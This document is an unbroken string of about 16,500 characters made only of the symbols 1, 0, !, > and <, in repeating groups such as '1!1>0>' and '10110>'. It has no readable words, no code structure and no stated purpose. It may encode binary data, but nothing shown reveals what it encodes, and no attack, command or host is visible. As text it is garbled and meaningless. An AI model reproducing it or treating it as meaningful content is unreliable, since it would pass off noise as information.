1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>10110>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>10110>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1!1!1!1!1!1!1!1!10110>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>10110>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>10110>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1!1!1!1!1!1!1!10110>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>10110>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1!1!1!1!1!1!1!10110>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>10110>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!10110>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>10110>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1!1!1!1!1!1!1!1!10110>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!10110>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!10110>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!10110>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1!1!1!1!1!1!1!10110>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>10110>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!10110>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>10110>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1!1!1!1!1!1!1!10110>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!10110>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>10110>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1!1!1!1!1!1!1!1!10110>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!10110>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>10110>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!10110>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>10110>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>10110>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1!1!1!1!1!1!1!10110>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>10110>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>10110>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>10110>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1!